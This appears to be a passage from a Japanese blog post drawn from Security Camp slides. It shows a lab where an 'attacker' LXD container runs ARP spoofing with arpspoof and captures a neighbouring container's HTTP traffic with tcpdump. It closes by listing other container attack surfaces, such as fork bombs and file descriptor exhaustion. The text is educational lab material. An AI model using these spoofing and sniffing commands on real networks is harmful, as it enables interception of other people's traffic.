? (10.128.193.231) at 00:16:3e:6a:55:5d [ether] on lxdbr0
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3
? (10.128.193.110) at 00:16:3e:1d:73:72 [ether] on lxdbr0

vagrant@ubuntu-xenial:~$ lxc exec attacker bash

root@attacker:~# ping 10.128.193.231 -c 5
PING 10.128.193.231 (10.128.193.231) 56(84) bytes of data.
64 bytes from 10.128.193.231: icmp_seq=1 ttl=64 time=0.108 ms
64 bytes from 10.128.193.231: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 10.128.193.231: icmp_seq=3 ttl=64 time=0.056 ms
64 bytes from 10.128.193.231: icmp_seq=4 ttl=64 time=0.056 ms
64 bytes from 10.128.193.231: icmp_seq=5 ttl=64 time=0.057 ms

--- 10.128.193.231 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4000ms
rtt min/avg/max/mdev = 0.052/0.065/0.108/0.023 ms

root@attacker:~# arpspoof -t 10.128.193.231 10.128.193.1 &> /dev/null &
root@attacker:~# arpspoof -t 10.128.193.1 10.128.193.231 &> /dev/null &

vagrant@ubuntu-xenial:~$ arp -a
? (10.128.193.231) at 00:16:3e:1d:73:72 [ether] on lxdbr0
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3
? (10.128.193.110) at 00:16:3e:1d:73:72 [ether] on lxdbr0

root@attacker:~# tcpdump -i any -vv -w test.pcap

vagrant@ubuntu-xenial:~$ curl 10.128.193.231

root@attacker:~# tcpdump -X tcp port 80 -r test.pcap

0x0000:  4500 0082 63f5 4000 4006 3e98 0a80 c101  E...c.@.@.>.....
        0x0010:  0a80 c1e7 abca 0050 8804 98b2 1abe c6d3  .......P........
        0x0020:  8018 00e5 985d 0000 0101 080a 0010 fb42  .....].........B
        0x0030:  0010 fb42 4745 5420 2f20 4854 5450 2f31  ...BGET./.HTTP/1
        0x0040:  2e31 0d0a 486f 7374 3a20 3130 2e31 3238  .1..Host:.10.128
        0x0050:  2e31 3933 2e32 3331 0d0a 5573 6572 2d41  .193.231..User-A
        0x0060:  6765 6e74 3a20 6375 726c 2f37 2e34 372e  gent:.curl/7.47.
        0x0070:  300d 0a41 6363 6570 743a 202a 2f2a 0d0a  0..Accept:.*/*..
        0x0080:  0d0a

0x0000:  4500 038f 3d92 4000 3f06 62ee 0a80 c1e7  E...=.@.?.b.....
        0x0010:  0a80 c101 0050 abca 1abe c6d3 8804 9900  .....P..........
        0x0020:  8018 00e3 9b6a 0000 0101 080a 0010 fb4b  .....j.........K
        0x0030:  0010 fb42 4854 5450 2f31 2e31 2032 3030  ...BHTTP/1.1.200
        0x0040:  204f 4b0d 0a53 6572 7665 723a 206e 6769  .OK..Server:.ngi
        0x0050:  6e78 2f31 2e31 302e 3320 2855 6275 6e74  nx/1.10.3.(Ubunt
        0x0060:  7529 0d0a 4461 7465 3a20 5475 652c 2031  u)..Date:.Tue,.1
        0x0070:  3320 4e6f 7620 3230 3138 2031 333a 3431  3.Nov.2018.13:41
        0x0080:  3a35 3920 474d 540d 0a43 6f6e 7465 6e74  :59.GMT..Content
        0x0090:  2d54 7970 653a 2074 6578 742f 6874 6d6c  -Type:.text/html
        0x00a0:  0d0a 436f 6e74 656e 742d 4c65 6e67 7468  ..Content-Length
        0x00b0:  3a20 3631 320d 0a4c 6173 742d 4d6f 6469  :.612..Last-Modi
        0x00c0:  6669 6564 3a20 5361 742c 2032 3720 4f63  fied:.Sat,.27.Oc
        0x00d0:  7420 3230 3138 2030 373a 3135 3a32 3220  t.2018.07:15:22.
        0x00e0:  474d 540d 0a43 6f6e 6e65 6374 696f 6e3a  GMT..Connection:
        0x00f0:  206b 6565 702d 616c 6976 650d 0a45 5461  .keep-alive..ETa
        0x0100:  673a 2022 3562 6434 3130 3861 2d32 3634  g:."5bd4108a-264
        0x0110:  220d 0a41 6363 6570 742d 5261 6e67 6573  "..Accept-Ranges
        0x0120:  3a20 6279 7465 730d 0a0d 0a3c 2144 4f43  :.bytes....<!DOC
        0x0130:  5459 5045 2068 746d 6c3e 0a3c 6874 6d6c  TYPE.html>.<html
        0x0140:  3e0a 3c68 6561 643e 0a3c 7469 746c 653e  >.<head>.<title>
        0x0150:  5765 6c63 6f6d 6520 746f 206e 6769 6e78  Welcome.to.nginx
        0x0160:  213c 2f74 6974 6c65 3e0a 3c73 7479 6c65  !</title>.<style
        0x0170:  3e0a 2020 2020 626f 6479 207b 0a20 2020  >.....body.{....
        0x0180:  2020 2020 2077 6964 7468 3a20 3335 656d  .....width:.35em
        0x0190:  3b0a 2020 2020 2020 2020 6d61 7267 696e  ;.........margin
        0x01a0:  3a20 3020 6175 746f 3b0a 2020 2020 2020  :.0.auto;.......
        0x01b0:  2020 666f 6e74 2d66 616d 696c 793a 2054  ..font-family:.T
        0x01c0:  6168 6f6d 612c 2056 6572 6461 6e61 2c20  ahoma,.Verdana,.
        0x01d0:  4172 6961 6c2c 2073 616e 732d 7365 7269  Arial,.sans-seri
        0x01e0:  663b 0a20 2020 207d 0a3c 2f73 7479 6c65  f;.....}.</style
        0x01f0:  3e0a 3c2f 6865 6164 3e0a 3c62 6f64 793e  >.</head>.<body>
        0x0200:  0a3c 6831 3e57 656c 636f 6d65 2074 6f20  .<h1>Welcome.to.
        0x0210:  6e67 696e 7821 3c2f 6831 3e0a 3c70 3e49  nginx!</h1>.<p>I
        0x0220:  6620 796f 7520 7365 6520 7468 6973 2070  f.you.see.this.p
        0x0230:  6167 652c 2074 6865 206e 6769 6e78 2077  age,.the.nginx.w
        0x0240:  6562 2073 6572 7665 7220 6973 2073 7563  eb.server.is.suc
        0x0250:  6365 7373 6675 6c6c 7920 696e 7374 616c  cessfully.instal
        0x0260:  6c65 6420 616e 640a 776f 726b 696e 672e  led.and.working.
        0x0270:  2046 7572 7468 6572 2063 6f6e 6669 6775  .Further.configu
        0x0280:  7261 7469 6f6e 2069 7320 7265 7175 6972  ration.is.requir
        0x0290:  6564 2e3c 2f70 3e0a 0a3c 703e 466f 7220  ed.</p>..<p>For.
        0x02a0:  6f6e 6c69 6e65 2064 6f63 756d 656e 7461  online.documenta
        0x02b0:  7469 6f6e 2061 6e64 2073 7570 706f 7274  tion.and.support
        0x02c0:  2070 6c65 6173 6520 7265 6665 7220 746f  .please.refer.to
        0x02d0:  0a3c 6120 6872 6566 3d22 6874 7470 3a2f  .<a.href="http:/
        0x02e0:  2f6e 6769 6e78 2e6f 7267 2f22 3e6e 6769  /nginx.org/">ngi
        0x02f0:  6e78 2e6f 7267 3c2f 613e 2e3c 6272 2f3e  nx.org</a>.<br/>
        0x0300:  0a43 6f6d 6d65 7263 6961 6c20 7375 7070  .Commercial.supp
        0x0310:  6f72 7420 6973 2061 7661 696c 6162 6c65  ort.is.available
        0x0320:  2061 740a 3c61 2068 7265 663d 2268 7474  .at.<a.href="htt
        0x0330:  703a 2f2f 6e67 696e 782e 636f 6d2f 223e  p://nginx.com/">
        0x0340:  6e67 696e 782e 636f 6d3c 2f61 3e2e 3c2f  nginx.com</a>.</
        0x0350:  703e 0a0a 3c70 3e3c 656d 3e54 6861 6e6b  p>..<p><em>Thank
        0x0360:  2079 6f75 2066 6f72 2075 7369 6e67 206e  .you.for.using.n
        0x0370:  6769 6e78 2e3c 2f65 6d3e 3c2f 703e 0a3c  ginx.</em></p>.<
        0x0380:  2f62 6f64 793e 0a3c 2f68 746d 6c3e 0a    /body>.</html>.

ARP Tableが汚染されていることを確認しました.
そして取得したパケットを見てみました.

その他のAttack Surface

  • dmesgのバッファリング呼び出しと消去
  • negatice dentryの大量生成
  • File Descriptorを大量生成
  • fork bomb
  • ディスク容量

この記事は基本的にはseccampで使用したスライドをもとに
コマンドを実行しつつ,どのような結果を得られるかを共有したいために書きました.
実際に動かしてみるとかなり面白いので,興味がある方はやってみてください.

果たして自作コンテナは教養になりうるでしょうか?